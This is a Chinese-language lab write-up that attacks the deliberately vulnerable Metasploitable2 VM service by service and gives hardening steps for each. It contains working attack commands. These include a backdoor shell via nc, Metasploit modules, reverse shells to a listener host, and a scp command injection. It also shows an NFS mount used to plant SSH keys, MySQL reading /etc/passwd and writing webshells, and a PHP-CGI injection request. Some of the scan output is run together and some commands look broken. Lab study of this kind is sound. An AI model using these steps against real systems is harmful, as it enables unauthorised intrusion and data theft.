Metasploitable2笔记(漏洞利用与加固)
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尼墨宝库经验文章Metasploitable2笔记(漏洞利用与加固)

Metasploitable2笔记(漏洞利用与加固)

经验文章nimo972025-03-19 15:22:5610A+A-

Metasploitable2笔记

Author:p1ng

tips:

setg命令可以将LHOST.LPORT等参数设置为全局变量,而不是局限于这一个模块内;

首先对靶机进行初步的探测扫描,可以检测到目标靶机开启的端口

Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-19 09:35 CST
Nmap scan report for 172.16.1.140
Host is up (0.0035s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33190/tcp open  status      1 (RPC #100024)
41194/tcp open  mountd      1-3 (RPC #100005)
42383/tcp open  nlockmgr    1-4 (RPC #100021)
57815/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 00:0C:29:EF:27:00 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.18 seconds
                                                                                         
(rootkali2021)-[~]
# nmap -A -p- 172.16.1.140 
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-19 15:25 CST
Nmap scan report for 172.16.1.140
Host is up (0.00076s latency).
Not shown: 65504 closed ports
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.16.1.123
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open     telnet      Linux telnetd
25/tcp    open     smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2023-03-19T05:37:47+00:00; -1h50m03s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
53/tcp    open     domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open     rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      36047/udp   mountd
|   100005  1,2,3      53679/tcp   mountd
|   100021  1,3,4      48263/udp   nlockmgr
|   100021  1,3,4      51481/tcp   nlockmgr
|   100024  1          53113/tcp   status
|_  100024  1          56995/udp   status
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open     exec        netkit-rsh rexecd
513/tcp   open     login       OpenBSD or Solaris rlogind
514/tcp   open     shell       Netkit rshd
1099/tcp  open     java-rmi    GNU Classpath grmiregistry
1524/tcp  open     bindshell   Metasploitable root shell
2049/tcp  open     nfs         2-4 (RPC #100003)
2121/tcp  open     ftp         ProFTPD 1.3.1
3306/tcp  open     mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, Speaks41ProtocolNew, LongColumnFlag, SupportsTransactions, SwitchToSSLAfterHandshake, SupportsCompression, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: bCg[rLf;2(s+yC#
:.t 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 |_ssl-date: 2023-03-19T05:37:47+00:00; -1h50m03s from scanner time. 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ VNC Authentication (2) 6000/tcp open X11 (access denied) 6200/tcp filtered lm-x 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 51481/tcp open nlockmgr 1-4 (RPC #100021) 53113/tcp open status 1 (RPC #100024) 53679/tcp open mountd 1-3 (RPC #100005) 55742/tcp open java-rmi GNU Classpath grmiregistry MAC Address: 00:0C:29:EF:27:00 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -50m02s, deviation: 2h00m01s, median: -1h50m03s |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: metasploitable | NetBIOS computer name: | Domain name: localdomain | FQDN: metasploitable.localdomain |_ System time: 2023-03-19T01:37:38-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE HOP RTT ADDRESS 1 0.76 ms 172.16.1.140 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 168.33 seconds

21/tcp ftp

vsftpd2.3.4

method1

通过metaspolit集成工具平台使用其中的exploit/unix/ftp/vsftpd_234_backdoor模块进行利用

method2

手动利用,首先我们先正常用ftp服务连接目标靶机,然后输入用户名root:),随便输入一个密码

输入密码进行等待的时候我们用nc进行连接其6200端口nc 172.16.1.140 6200

漏洞修复

method1

通过修改vsdtpd.conf文件,禁止用本地用户进行登入,只能创建vsftpd的用户或者使用匿名用户进行登入

将local_enable=YES修改为local_enable=NO

method2(优)

通过iptables防火墙来进行对6200端口的流量进行拦截从而进行防护

iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 6200 -j DROP

22/tcp ssh

CVE-2020-15778

简介: 该漏洞主要针对于知道ssh用户的密码但是不允许进行登入的情况

method1

已知root用户的密码为123456此时我们利用scp命令进行利用

scp 1.txt  root:172.16.1.140:'`touch /tmp/test.txt` /tmp'

利用scp命令将本地的1.txt文件上传到tmp目录下,并存为test.txt

参考文献:

https://www.freebuf.com/articles/web/258524.html

22/tcp smtp

method1

通过SMTP对服务器中的用户名进行枚举

Kali> telnet 172.16.1.140 25
>VRFY sys # 查看目标机器中是否存在这些用户
Kali> smtp-user-enum -M VRFY -U   -t  # 通过 smtp-user-enum工具对目标机器的用户进行枚举

参考文献:

https://null-byte.wonderhowto.com/how-to/hack-like-pro-extract-email-addresses-from-smtp-server-0160814/

method2

可以利用sslv2-drown脚本对smtp服务进行扫描

smtp.domain
See the documentation for the smtp library. #

111/tcp rpcbind && 2049/tcp nfs

nfs服务的错误配置(Mis-Configured NFS Share)

method1

Kali> showmount -e 172.16.1.140 # 显示NFS服务器上的挂载信息,也可以限制客户端对NFS服务器的访问情况
Kali> mkdir -p /root/.ssh # 创建一个存储ssh登入公钥私钥的文件夹
Kali> cd /root/.ssh # 进入到/root/.ssh目录
Kali> cat /dev/null > known_hosts # /dev/null:表示将输出重定向到空设备,即不输出任何内容;known_hosts:是保存已知主机密钥的文件名;所以这个命令的作用就是清除known_hosts文件
Kali> ssh-keygen -t rsa -b 4096  #  生成一个密钥文件
> nter file in which to save the key (/root/.ssh/id_rsa): test # 生成的文件命名为 test
Kali> mount -t nfs 172.16.1.140:/ /mnt/ # 将172.16.1.140从根目录下的所有文件挂栽到/mnt目录下
Kali> cp /root/.ssh/test.pub /mnt/root/.ssh # 将生成的test.pub复制到挂载在mnt的目标服务器的ssh私钥目录
Kali> cat test.pub >> authorized_keys # 将test.pub的内容加在authorized_keys文件的后面
Kali> ssh -i /root/.ssh/test root@172.16.1.140 # 用生成的ssh私钥实现无密码登入靶机的

参考文献:

https://computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson4/index.html

修复方法:

可以通过NFS服务器上指定/etc/exports文件来限制共享的目录

139/tcp && 445/tcp samba

CVE-2007-2447(Samba MS_RPC Shell命令注入漏洞)

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

method1

Kali> msfconsole # 进入metasploit
msf6> search usermap # 查询Samba MS_RPC shell的模块
msf6> use exploit/multi/samba/usermap_script # 使用这个模块
msf6> set RHOSTS  # 设置目标主机的IP
msf6> set LHOST  # 设置监听主机的IP(这一步一定要设置,不能够省略)

修复方法:

通过修改配置文件/etc/samba/smb.conf注释掉username map script=/etc/samba/scripts/mapusers.sh

1524/tcp backdoor Metasploitable root shell(Ingreslock)

系统的恶意后门

nc 172.16.1.140 1524
telnet 172.16.1.140 1524

修复方式:

先找到该恶意程序的进程号,先将进程kill,然后再找到源文件,将源文件进行删除

3306/tcp Mysql

MySQL服务,超级用户空密码,且并没有过滤危险函数

method1

Kali> MySQL -u root -h 172.16.1.140 # 远程连接mysql服务,并且以超级用户的身份登入
MySQL> select load_file('/etc/passwd'); # 利用load_file函数,查看本地文件

没有对mysql的危险函数做限制,可以通过into outfile等函数配合http服务get shell

Mysql> show global variables like '%secure%'; # 查看secure_file_priv选项有没有值,secure_file_priv参数若没有值则可以进行操作,若不为空则需要通过配置文件对其进行修改
Mysql> select "" into outfile "/var/www/html/test.php"; # 写入一句话木马到Web目录下

method2

通过修改日志文件的存储位置和文件的后缀,从而getshell

Mysql> show variables like "%general%"; # 查看general_log的具体选项
Mysql> set global general_log='ON'; # 如果general_log参数未开启的时候,利用set语句将其打开
Mysql> set global general_log_file = '/var/www/html/test.php'; # 将其日志文件设置于Web目录下,并且将其后缀改为php让web服务器解析
Mysql> select ""; # select一下一句话木马,此时一句话木马就会出现在test.php文件中即可getshell
# metasploitable2中的MySQL并没有这个选项

修复方式

  1. 修改secure_file_priv参数的值,限制into outfile/load_file函数可执行的目录,修改配置文件my.cnf
Kali> vim /etc/mysql/my.cnf # 修改mysql的配置文件
vim> security_file_priv = '/tmp' # 限制为tmp目录下
  1. 修改my.cnf文件中的general_log参数,将其修改为general_log=0

5432/tcp postgresql

CVE-2007-3280

method1

Kali> msfconsole
msf6> use exploit/linux/postgres/postgres_payload
msf6> set RHOSTS  172.16.1.140
msf6> exploit

参考资料

https://www.cvedetails.com/cve/CVE-2007-3280/

8180/tcp HTTP

Tomcat

method1

Kali> msfconsole
msf6> use auxiliary/scanner/http/tomcat_mgr_login # 辅助模块,用于爆破tomcat服务器的用户名和密码然后进去其后台部署War包进行getshell
msf6> setg RHOSTS 172.16.1.140
msf6> setg RPORT 8180
msf6> exploit # 进行爆破,如果爆破不成功则调整PASS_FILE参数和USERPASS_FILE
msf6> use exploit/multi/http/tomcat_mgr_deploy # 利用Tomcat管理页面的缺陷进行部署和执行恶意WAR文件
msf6> set HttpUsername tomcat
msf6> set HttpPassword tomcat 
msf6> exploit

method2(手工复现)

Kali> msfvenom -p java/jsp_shell_reverce_tcp LHOST=172.16.1.123 LPORT=8848 -f war > shell.war # 利用msfvenom工具以java/jsp_shell_reverce_tcp为载荷172.16.1.123为监听IP,8848为监听端口生成一个War格式的木马
msf6> use exploit/multi/handler
msf6> set payload java/jsp_shell_reverce_tcp 
msf6> exploit
Kali> firefox

点击Tomcat Manager选项,然后输入tomcat的用户名和密码

成功进入后台后,将我们利用msfvenom生成的war包部署进去,即可在目录中看见新增的路径,我们点击路径,开启监听的handler模块即可收到反弹的shell

修复方法

  1. 更改Tomcat服务的默认用户名与密码
  2. 禁用Tomcat管理页面或者限制其访问权限

3632/tcp Distccd

原理: Discccd是一个分布式编译器,用于加速编译过程,其客户端和服务器之间使用了没有身份验证的RCE协议进行通信

msf6> use exploit/unix/misc/distcc_exec
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit

6667/tcp6 697/tcp Unreal lRcd

UnreallRcd后门漏洞

msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit

1099/tcp Java rmi

利用Java JMX服务的漏洞进行远程代码执行.Java JMX是Java的一个管理和监控API,允许开发人员检测和管理Java应用程序

msf6> use exploit/multi/misc/java_jmx_server
msf6> set payload payload/cmd/unix/reverse
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit

修复方法:

修改Java JMX的配置文件,禁止远程访问或指定访问控制策略,避免未授权访问

  1. 找到Java JMX的配置文件jmxremote.access和jmxremote.password,通常位于\/jre/lib/management目录下,如果该目录下没有这两个文件,则需要手动创建
  2. 修改jmxremote.access文件,添加一下内容,表示只允许本地访问:
monitorRolereadonly
controlRolereadwrite \
create javax.management.monitor.*,javax.management.timer.* \
unregister
  1. 修改jmxremote.password文件,添加以下内容,表示只允许本地访问
monitorRolemonitorRolePassword
controlRole controlRolePassword
 # 其中 monitorRolePassword 和 controlRolePassword 是密码,需要设置为强密码,避免被猜解或者暴力破解
  1. 修改Java JMX的启动参数,以加载修改后的配置文件,在启动Java引用程序时需要添加一下参数
-Docm.sun.management.jmxremote.port= \
-Dcom.sun.management.jmxremote.ssl=false \
-Dcom.sun.management.jmxremote.authenticate=true \
-Dcom.sun.management.jmxremote.password.file=/jmxremote.password \
-Dcom.sun.management.jmxremote.access.file=/jmxremote.access

PHP CGI参数注入执行漏洞

在PHP 5.4.0至PHP 5.4.3版本中,攻击者可以在Web服务器上执行任意代码.攻击者通过构造特定的HTTP请求,向服务器注入任意命令,并在服务器上执行这些命令

msf6> use exploit/multi/http/php_cgi_arg_injection
msf6> set RHOSTS 172.16.1.140
msf6> set LHOST 172.16.1.123
msf6> exploit

method2(手工)

curl 172.16.1.140/?-s # 显示源代码

这里拓展一下PHP的参数

-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次数该文件
-h和-?显示帮助

我们可以通过-d指定auto_prepend_file来指导任意文件包含漏洞,同时需要将allow_url_include设置为on执行任意代码

Payload : ?-d allow_url_include=on -d auto_prepend_file=php://input
将=与:进行URL编码得,空格用+代替
Payload: -?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

我们构造数据包

POST /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 172.16.1.140
Content-Length: 34
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://172.16.1.140
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.1.140/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

修复方法:

修改http.conf文件,找到\增加如下内容

RewriteEngine on
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$[NC]
RewriteRule ^(.*) $1?[L]

参考资料

https://www.cnblogs.com/virgree/p/5411582.html

https://blog.csdn.net/weixin_45605352/article/details/115283390

from https://sec-in.com/article/2160

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